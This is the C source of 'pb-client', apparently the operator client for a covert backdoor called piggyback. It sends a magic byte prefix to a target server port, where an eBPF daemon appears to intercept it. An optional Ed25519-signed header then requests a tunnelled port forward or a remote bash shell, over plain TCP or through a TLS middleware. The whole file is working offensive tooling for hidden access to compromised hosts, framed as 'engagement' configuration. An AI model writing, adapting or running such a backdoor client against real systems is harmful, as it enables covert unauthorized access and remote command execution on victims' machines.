// pb-client.c — piggyback client
//
// All configuration is via compile-time constants below.
// Build: make     Run: ./pb-client
//
// Mode 1 (CLIENT_MODE = MODE_TCP):
//   Plain TCP to server, sends MAGIC prefix, splices traffic.
//
// Mode 2 (CLIENT_MODE = MODE_TLS):
//   Genuine TLS connection to middleware (SNI required).
//   Middleware decrypts and forwards inner bytes to plain TCP backend.
//   Server-side eBPF sees raw MAGIC as in Mode 1.
//
// Auth (KEY_PATH != ""):
//   Sends Ed25519-signed 80-byte header after MAGIC.
//   Required when daemon has AUTH_ENABLED=1.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <pthread.h>

#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/evp.h>
#include <openssl/pem.h>

// ── Engagement Configuration ──────────────────────────────────────────────────
// Edit these before compiling.

#define SERVER_IP     "1.2.3.4"    // target server IP or hostname
#define SERVER_PORT   80           // target port
#define LOCAL_PORT    2222         // local listener port (ssh -p LOCAL_PORT localhost)

// Connection mode
#define CLIENT_MODE   MODE_TCP     // MODE_TCP or MODE_TLS
#define SNI           ""           // SNI hostname — required for MODE_TLS

// Auth — leave KEY_PATH "" to disable (no signed header sent)
// Run `make keygen` to generate keypair. Set AUTH_ENABLED=1 in daemon.
#define KEY_PATH      ""           // e.g. "engagement.key" (PEM, Ed25519 private key)
#define CLIENT_ACTION ACTION_FORWARD   // ACTION_FORWARD or ACTION_SHELL
#define TARGET_IP     "127.0.0.1"  // forward target IPv4 (ACTION_FORWARD)
#define TARGET_PORT   22           // forward target port  (ACTION_FORWARD)
#define SHELL_CMD     "bash"       // shell command        (ACTION_SHELL)

#define VERBOSE       0            // 1 = debug logging

// ── Shared constants (must match piggyback.bpf.c / piggyback.c) ──────────────

#define MAGIC      "\xDE\xAD\xC0\xDE\xCA\xFE"
#define MAGIC_LEN  6
#define HEADER_LEN 80   // 16 bytes fields + 64 bytes Ed25519 signature

#define ACTION_FORWARD 0x01
#define ACTION_SHELL   0x02

// ── Mode enum ─────────────────────────────────────────────────────────────────

typedef enum { MODE_TCP, MODE_TLS } client_mode_t;

// ── Globals ───────────────────────────────────────────────────────────────────

static volatile int running = 1;
static SSL_CTX *ssl_ctx = NULL;

// ── Logging ───────────────────────────────────────────────────────────────────

#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
#define log_err(fmt, ...)  fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
#define log_dbg(fmt, ...)  do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)

// ── Abstract I/O over plain TCP or TLS ───────────────────────────────────────

struct conn { int fd; SSL *ssl; };

static ssize_t conn_read(struct conn *c, void *buf, size_t len) {
    return c->ssl ? SSL_read(c->ssl, buf, (int)len) : read(c->fd, buf, len);
}
static ssize_t conn_write(struct conn *c, const void *buf, size_t len) {
    return c->ssl ? SSL_write(c->ssl, buf, (int)len) : write(c->fd, buf, len);
}
static void conn_close(struct conn *c) {
    if (c->ssl) { SSL_shutdown(c->ssl); SSL_free(c->ssl); c->ssl = NULL; }
    if (c->fd >= 0) { close(c->fd); c->fd = -1; }
}

// ── Bidirectional splice ──────────────────────────────────────────────────────

static void splice_loop(int local_fd, struct conn *remote) {
    int epfd = epoll_create1(0);
    struct epoll_event ev, evs[2];
    char buf[65536];

    ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
    ev.data.fd = local_fd;  epoll_ctl(epfd, EPOLL_CTL_ADD, local_fd,  &ev);
    ev.data.fd = remote->fd; epoll_ctl(epfd, EPOLL_CTL_ADD, remote->fd, &ev);

    while (running) {
        int n = epoll_wait(epfd, evs, 2, 1000);
        for (int i = 0; i < n; i++) {
            if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
            if (evs[i].data.fd == local_fd) {
                ssize_t r = read(local_fd, buf, sizeof(buf));
                if (r <= 0) goto done;
                ssize_t w = 0;
                while (w < r) { ssize_t s = conn_write(remote, buf+w, r-w); if (s<=0) goto done; w+=s; }
            } else {
                ssize_t r = conn_read(remote, buf, sizeof(buf));
                if (r <= 0) goto done;
                ssize_t w = 0;
                while (w < r) { ssize_t s = write(local_fd, buf+w, r-w); if (s<=0) goto done; w+=s; }
            }
        }
    }
done:
    close(epfd);
}

// ── Ed25519 signed header ─────────────────────────────────────────────────────
//
// Sends 80 bytes after MAGIC:
//   [0..7]   timestamp big-endian uint64
//   [8]      action
//   [9..12]  target IPv4 (ACTION_FORWARD) or zeros
//   [13..14] target port big-endian or zeros
//   [15]     reserved
//   [16..79] Ed25519 sig over bytes [0..15] + server_ip[4]

static int send_auth_header(struct conn *remote, uint32_t server_ip_be) {
    uint8_t fields[16] = {0};

    uint64_t ts = (uint64_t)time(NULL);
    for (int i = 7; i >= 0; i--) { fields[i] = ts & 0xff; ts >>= 8; }

    fields[8] = CLIENT_ACTION;

    if (CLIENT_ACTION == ACTION_FORWARD) {
        uint32_t tip = 0;
        inet_pton(AF_INET, TARGET_IP, &tip);
        memcpy(fields + 9,  &tip, 4);
        uint16_t tport = htons(TARGET_PORT);
        memcpy(fields + 13, &tport, 2);
    }

    uint8_t msg[20];
    memcpy(msg,      fields,        16);
    memcpy(msg + 16, &server_ip_be,  4);

    FILE *f = fopen(KEY_PATH, "r");
    if (!f) { perror("fopen privkey"); return -1; }
    EVP_PKEY *pkey = PEM_read_PrivateKey(f, NULL, NULL, NULL);
    fclose(f);
    if (!pkey) { ERR_print_errors_fp(stderr); return -1; }

    EVP_MD_CTX *ctx = EVP_MD_CTX_new();
    size_t siglen = 64;
    uint8_t sig[64];
    int ok = ctx &&
             EVP_DigestSignInit(ctx, NULL, NULL, NULL, pkey) == 1 &&
             EVP_DigestSign(ctx, sig, &siglen, msg, sizeof(msg)) == 1;
    if (ctx) EVP_MD_CTX_free(ctx);
    EVP_PKEY_free(pkey);

    if (!ok || siglen != 64) { ERR_print_errors_fp(stderr); return -1; }

    uint8_t header[HEADER_LEN];
    memcpy(header,      fields, 16);
    memcpy(header + 16, sig,    64);

    if (conn_write(remote, header, HEADER_LEN) != HEADER_LEN) {
        log_err("write auth header failed"); return -1;
    }
    return 0;
}

// ── Connect to server ─────────────────────────────────────────────────────────

static int tcp_connect(const char *host, int port) {
    struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
    struct addrinfo *res;
    char port_str[8];
    snprintf(port_str, sizeof(port_str), "%d", port);

    if (getaddrinfo(host, port_str, &hints, &res) != 0) {
        log_err("getaddrinfo(%s:%d) failed", host, port); return -1;
    }
    int fd = -1;
    for (struct addrinfo *r = res; r; r = r->ai_next) {
        fd = socket(r->ai_family, r->ai_socktype, 0);
        if (fd < 0) continue;
        if (connect(fd, r->ai_addr, r->ai_addrlen) == 0) break;
        close(fd); fd = -1;
    }
    freeaddrinfo(res);
    if (fd < 0) log_err("connect to %s:%d failed", host, port);
    return fd;
}

// ── Per-connection thread ─────────────────────────────────────────────────────

struct conn_args { int local_fd; };

static void *conn_thread(void *arg) {
    struct conn_args *a = arg;
    int local_fd = a->local_fd;
    free(a);

    struct conn remote = { .fd = -1, .ssl = NULL };

    remote.fd = tcp_connect(SERVER_IP, SERVER_PORT);
    if (remote.fd < 0) goto done;

    if (CLIENT_MODE == MODE_TLS) {
        if (!ssl_ctx) { log_err("SSL context not initialized"); goto done; }
        remote.ssl = SSL_new(ssl_ctx);
        if (!remote.ssl) goto done;
        SSL_set_fd(remote.ssl, remote.fd);
        if (strlen(SNI) > 0)
            SSL_set_tlsext_host_name(remote.ssl, SNI);
        if (SSL_connect(remote.ssl) != 1) {
            ERR_print_errors_fp(stderr); log_err("TLS handshake failed"); goto done;
        }
        log_dbg("TLS connected (%s)", SSL_get_cipher(remote.ssl));
    }

    // Send MAGIC
    if (conn_write(&remote, MAGIC, MAGIC_LEN) != MAGIC_LEN) {
        log_err("write magic failed"); goto done;
    }

    // Send signed header if auth enabled
    if (strlen(KEY_PATH) > 0) {
        uint32_t server_ip_be = 0;
        struct addrinfo hints = { .ai_family = AF_INET };
        struct addrinfo *res;
        if (getaddrinfo(SERVER_IP, NULL, &hints, &res) == 0) {
            server_ip_be = ((struct sockaddr_in *)res->ai_addr)->sin_addr.s_addr;
            freeaddrinfo(res);
        }
        if (send_auth_header(&remote, server_ip_be) != 0) goto done;
        log_dbg("auth header sent (action=0x%02x)", CLIENT_ACTION);

        if (CLIENT_ACTION == ACTION_SHELL) {
            size_t cmdlen = strlen(SHELL_CMD);
            if (conn_write(&remote, SHELL_CMD, cmdlen) != (ssize_t)cmdlen) {
                log_err("write shell cmd failed"); goto done;
            }
        }
    }

    log_info("connected [%s%s]",
             CLIENT_MODE == MODE_TLS ? "TLS" : "TCP",
             strlen(KEY_PATH) > 0    ? " auth=ed25519" : "");

    splice_loop(local_fd, &remote);

done:
    conn_close(&remote);
    close(local_fd);
    return NULL;
}

// ── Signal ────────────────────────────────────────────────────────────────────

static void on_signal(int sig __attribute__((unused))) { running = 0; }

// ── Main ──────────────────────────────────────────────────────────────────────

int main(void) {
    if (CLIENT_MODE == MODE_TLS && strlen(SNI) == 0) {
        fprintf(stderr, "[-] SNI must be set for MODE_TLS\n"); return 1;
    }

    signal(SIGINT,  on_signal);
    signal(SIGTERM, on_signal);
    signal(SIGPIPE, SIG_IGN);

    // OpenSSL init (needed for key loading even in TCP mode)
    SSL_library_init();
    SSL_load_error_strings();
    OpenSSL_add_all_algorithms();

    if (CLIENT_MODE == MODE_TLS) {
        ssl_ctx = SSL_CTX_new(TLS_client_method());
        if (!ssl_ctx) { ERR_print_errors_fp(stderr); return 1; }
        SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL);
        SSL_CTX_set_default_verify_paths(ssl_ctx);
        SSL_CTX_set_min_proto_version(ssl_ctx, TLS1_2_VERSION);
    }

    int listen_fd = socket(AF_INET, SOCK_STREAM, 0);
    int yes = 1;
    setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
    struct sockaddr_in laddr = {
        .sin_family      = AF_INET,
        .sin_port        = htons(LOCAL_PORT),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };
    if (bind(listen_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
        log_err("bind port %d: %s", LOCAL_PORT, strerror(errno)); return 1;
    }
    listen(listen_fd, 16);

    log_info("pb-client on 127.0.0.1:%d → %s:%d [%s%s%s%s]",
             LOCAL_PORT, SERVER_IP, SERVER_PORT,
             CLIENT_MODE == MODE_TLS ? "TLS sni=" : "TCP",
             CLIENT_MODE == MODE_TLS ? SNI : "",
             strlen(KEY_PATH) > 0 ? " auth=ed25519" : "",
             strlen(KEY_PATH) > 0 && CLIENT_ACTION == ACTION_SHELL ? " shell" : "");

    while (running) {
        struct sockaddr_in caddr;
        socklen_t clen = sizeof(caddr);
        int cfd = accept(listen_fd, (struct sockaddr *)&caddr, &clen);
        if (cfd < 0) { if (running) perror("accept"); continue; }

        struct conn_args *a = malloc(sizeof(*a));
        if (!a) { close(cfd); continue; }
        a->local_fd = cfd;

        pthread_t tid;
        pthread_create(&tid, NULL, conn_thread, a);
        pthread_detach(tid);
    }

    close(listen_fd);
    if (ssl_ctx) SSL_CTX_free(ssl_ctx);
    return 0;
}